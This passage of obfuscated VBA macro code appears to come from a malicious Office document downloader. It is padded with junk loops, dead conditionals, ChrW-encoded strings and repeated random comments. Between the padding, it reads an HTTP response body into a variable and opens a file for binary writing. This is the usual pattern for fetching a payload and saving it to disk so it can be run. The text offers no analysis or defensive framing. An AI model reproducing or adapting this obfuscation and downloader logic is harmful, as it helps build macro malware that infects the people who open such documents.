(ChrW(108) & ChrW(114) & ChrW(109) & ChrW(99) & ChrW(99) & ChrW(118) & ChrW(121) & ChrW(117) & ChrW(54) & ChrW(50)) 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq End If 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If Len(ChrW(108) & ChrW(111) & ChrW(109) & ChrW(102) & ChrW(107) & ChrW(99) & ChrW(103) & ChrW(121) & ChrW(57) & ChrW(52) & ChrW(50) & ChrW(50)) = Len(ChrW(122) & ChrW(99) & ChrW(122) & ChrW(111) & ChrW(103) & ChrW(103) & ChrW(110) & ChrW(121)) Then 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim uyjirxda As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim cjxkuzes As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For cjxkuzes = 0 To 9 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next cjxkuzes 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq uyjirxda = 9 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While uyjirxda < 98 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim lhfauzsl As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For lhfauzsl = 0 To 8 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next lhfauzsl 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: uyjirxda = uyjirxda + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim rbixbazp As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For rbixbazp = 0 To 2 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next rbixbazp 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim drgmobya As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For drgmobya = 0 To 8 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next drgmobya 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq MsgBox (ChrW(101) & ChrW(114) & ChrW(114) & ChrW(111) & ChrW(114) & ChrW(32) & ChrW(33) & ChrW(33) & ChrW(33)) 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq End If 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim kwdcaqyn As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim jzqorxgb As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For jzqorxgb = 0 To 2 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next jzqorxgb 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq kwdcaqyn = 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While kwdcaqyn < 16 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim buktfmlh As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For buktfmlh = 0 To 8 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next buktfmlh 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: kwdcaqyn = kwdcaqyn + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim xweqeisw As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For xweqeisw = 0 To 2 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next xweqeisw 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim kxozjtte As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For kxozjtte = 0 To 3 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next kxozjtte 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq wratuzwqhxh = kderacuvhjh.responsebody 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If 183762 = 183762 + 1 Then End 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If 4538 < 91 Then 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim khdwihgl As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim bufuwkwe As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For bufuwkwe = 0 To 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next bufuwkwe 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq khdwihgl = 6 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While khdwihgl < 93 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim rbyuzhkh As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For rbyuzhkh = 0 To 4 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next rbyuzhkh 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: khdwihgl = khdwihgl + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim hpnionnz As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For hpnionnz = 0 To 9 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next hpnionnz 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim zggawlkf As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For zggawlkf = 0 To 3 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next zggawlkf 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq MsgBox (ChrW(119) & ChrW(104) & ChrW(116) & ChrW(117) & ChrW(114) & ChrW(114) & ChrW(108) & ChrW(116) & ChrW(56) & ChrW(49)) 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq End If 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If Len(ChrW(115) & ChrW(97) & ChrW(117) & ChrW(102) & ChrW(116) & ChrW(100) & ChrW(105) & ChrW(102) & ChrW(53) & ChrW(51) & ChrW(55) & ChrW(56)) = Len(ChrW(102) & ChrW(114) & ChrW(111) & ChrW(122) & ChrW(102) & ChrW(115) & ChrW(105) & ChrW(109)) Then 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim pjqzsirq As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim qjaqycbf As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For qjaqycbf = 0 To 5 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next qjaqycbf 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq pjqzsirq = 2 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While pjqzsirq < 95 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim nenjustw As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For nenjustw = 0 To 8 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next nenjustw 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: pjqzsirq = pjqzsirq + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim bfyhedez As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For bfyhedez = 0 To 4 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next bfyhedez 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim awqwpplp As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For awqwpplp = 0 To 7 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next awqwpplp 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq MsgBox (ChrW(101) & ChrW(114) & ChrW(114) & ChrW(111) & ChrW(114) & ChrW(32) & ChrW(33) & ChrW(33) & ChrW(33)) 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq End If 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim jmlmimhu As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim cwvksniq As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For cwvksniq = 0 To 2 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next cwvksniq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq jmlmimhu = 8 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While jmlmimhu < 66 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim cjljmuog As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For cjljmuog = 0 To 6 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next cjljmuog 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: jmlmimhu = jmlmimhu + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim iqlfitgv As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For iqlfitgv = 0 To 9 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next iqlfitgv 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim wybgnxai As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For wybgnxai = 0 To 7 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next wybgnxai 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq qefgzsywkju = FreeFile 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Open ebwqwtjzaph For Binary As #qefgzsywkju 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If 984324 = 984324 + 1 Then End 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If 9484 < 32 Then 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim jvesyzee As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim effkuzqn As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For effkuzqn = 0 To 3 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next effkuzqn 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq jvesyzee = 8 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While jvesyzee < 28 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim zmdloizx As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For zmdloizx = 0 To 3 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next zmdloizx 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: jvesyzee = jvesyzee + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim ccpzcwdc As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For ccpzcwdc = 0 To 3 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next ccpzcwdc 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim sgpbsqxr As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For sgpbsqxr = 0 To 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next sgpbsqxr 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq MsgBox (ChrW(111) & ChrW(117) & ChrW(117) & ChrW(120) & ChrW(107) & ChrW(100) & ChrW(103) & ChrW(119) & ChrW(52) & ChrW(51)) 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq End If 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If Len(ChrW(106) & ChrW(99) & ChrW(113) & ChrW(109) & ChrW(97) & ChrW(121) & ChrW(113) & ChrW(102) & ChrW(52) & ChrW(54) & ChrW(53) & ChrW(55)) = Len(ChrW(115) & ChrW(106) & ChrW(112) & ChrW(110) & ChrW(109) & ChrW(115) & ChrW(99) & ChrW(97)) Then 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim bysojlhj As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim oevnvhqr As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For oevnvhqr = 0 To 2 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next oevnvhqr 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq bysojlhj = 7 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While bysojlhj < 78 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim xnaukeir As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For xnaukeir = 0 To 8 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next xnaukeir 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: bysojlhj = bysojlhj + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim jizrytrp As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For jizrytrp = 0 To 2 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next jizrytrp 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim glusnvhy As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For glusnvhy = 0 To 8 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next glusnvhy 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq MsgBox (ChrW(101) & ChrW(114) & ChrW(114) & ChrW(111) & ChrW(114) & ChrW(32) & ChrW(33) & ChrW(33) & ChrW(33)) 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq End If 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim jbmrzxiz As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim hhxznihv As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For hhxznihv = 0 To 2 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next hhxznihv 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq jbmrzxiz = 6 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While jbmrzxiz < 67 